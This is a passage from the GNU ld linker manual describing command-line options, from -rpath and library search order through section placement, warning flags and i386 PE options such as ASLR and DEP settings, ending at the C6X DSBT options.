Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
